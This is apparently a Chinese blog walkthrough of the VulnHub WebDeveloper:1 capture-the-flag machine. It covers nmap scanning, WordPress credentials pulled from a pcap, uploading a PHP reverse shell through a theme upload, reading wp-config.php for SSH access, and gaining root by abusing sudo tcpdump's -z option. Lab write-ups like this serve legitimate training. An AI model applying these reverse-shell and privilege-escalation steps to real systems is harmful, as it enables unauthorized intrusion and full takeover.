当前位置: 首页 > news >正文

【vulnhub】WebDeveloper:1靶机

信息收集

靶机扫描

nmap 192.168.93.0/24

端口开放22、80

进行目录扫描,发现ipdata目录

进入该目录发现一个流量包,下载使用wireshark打开

查看后发现wordpress后台用户密码:webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd

拼接/wp-admin

用找到的用户名密码登录wordpress,登录成功

利用wordpress的上传theme功能getshell

在下处发现一处文件上传页面

获取shell

把kali linux自带的php反弹shell代码(/usr/share/webshells/php/php-reverse-shell.php)

直接把/usr/share/webshells/php/php-reverse-shell.php改一下$ip和$port,保存,并上传。

尝试访问扫描结果之后发现,上传的反弹shell在wp-content/uploads/ 目录的子目录下

进行反弹监听

输入以下命令得到交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

用linpeas.sh找到webdeveloper用户账号密码

进入到/var/www/html/wp-config.php,找到数据库wordpress的用户名和密码webdeveloper : MasterOfTheUniverse

尝试用这个账户密码进行ssh登录

ssh webdeveloper@192.168.93.166

提权

首先,输入如下命令查找php-reverse-shell.php的位置

find / -name php-reverse-shell.php 2>/dev/null

找到其位置在/var/www/html/wp-content/uploads/2022/01/php-reverse-shell.php

然后输入以下命令

COMMAND='php /var/www/html/wp-content/uploads/2022/01/php-reverse-shell.php'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root

攻击机监听的2333端口下出现root用户的反弹shell

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Linux下如何使用Netcat进行网络调试
  • 网络剪枝——network-slimming 项目复现
  • 剖析HTML 元素——WEB开发系列02
  • Excutors创建线程池
  • VisionPro二次开发学习笔记11-使用 Caliper和Fixture定位Blob工具检测方块
  • 【C++】string的模拟实现
  • Python | Leetcode Python题解之第330题按要求补齐数组
  • hdu7471 最优K子段(口胡题解 二分+贪心+随机化)
  • 深入探索Webkit的Web Authentication API:安全与便捷的融合
  • Flutter简介
  • 在Ubuntu 14.04上安装Git的方法
  • CentOS 7 安装详细教程
  • JavaScript高阶笔记总结(Xmind格式):第一天
  • LLM - 使用 Ollama + OpenWebUI 在 Linux 服务器中高效部署大语言模型
  • Axure移动端实例模板库,APP/小程序/H5原型模版,高保真高交互100+页
  • #Java异常处理
  • 4. 路由到控制器 - Laravel从零开始教程
  • 4个实用的微服务测试策略
  • Android开源项目规范总结
  • const let
  • download使用浅析
  • ES10 特性的完整指南
  • Fastjson的基本使用方法大全
  • httpie使用详解
  • 闭包,sync使用细节
  • 第2章 网络文档
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 收藏好这篇,别再只说“数据劫持”了
  • 怎么将电脑中的声音录制成WAV格式
  • 阿里云服务器如何修改远程端口?
  • 大数据全解:定义、价值及挑战
  • 扩展资源服务器解决oauth2 性能瓶颈
  • ​渐进式Web应用PWA的未来
  • ​七周四次课(5月9日)iptables filter表案例、iptables nat表应用
  • ​学习一下,什么是预包装食品?​
  • # .NET Framework中使用命名管道进行进程间通信
  • $.ajax()参数及用法
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (function(){})()的分步解析
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (Qt) 默认QtWidget应用包含什么?
  • (SpringBoot)第七章:SpringBoot日志文件
  • (草履虫都可以看懂的)PyQt子窗口向主窗口传递参数,主窗口接收子窗口信号、参数。
  • (二)windows配置JDK环境
  • (二)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (附源码)ssm高校升本考试管理系统 毕业设计 201631
  • (收藏)Git和Repo扫盲——如何取得Android源代码
  • (学习日记)2024.03.12:UCOSIII第十四节:时基列表
  • (源码分析)springsecurity认证授权
  • (转)c++ std::pair 与 std::make
  • (转)jQuery 基础
  • (转)大道至简,职场上做人做事做管理
  • (转)关于如何学好游戏3D引擎编程的一些经验
  • (自用)网络编程
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...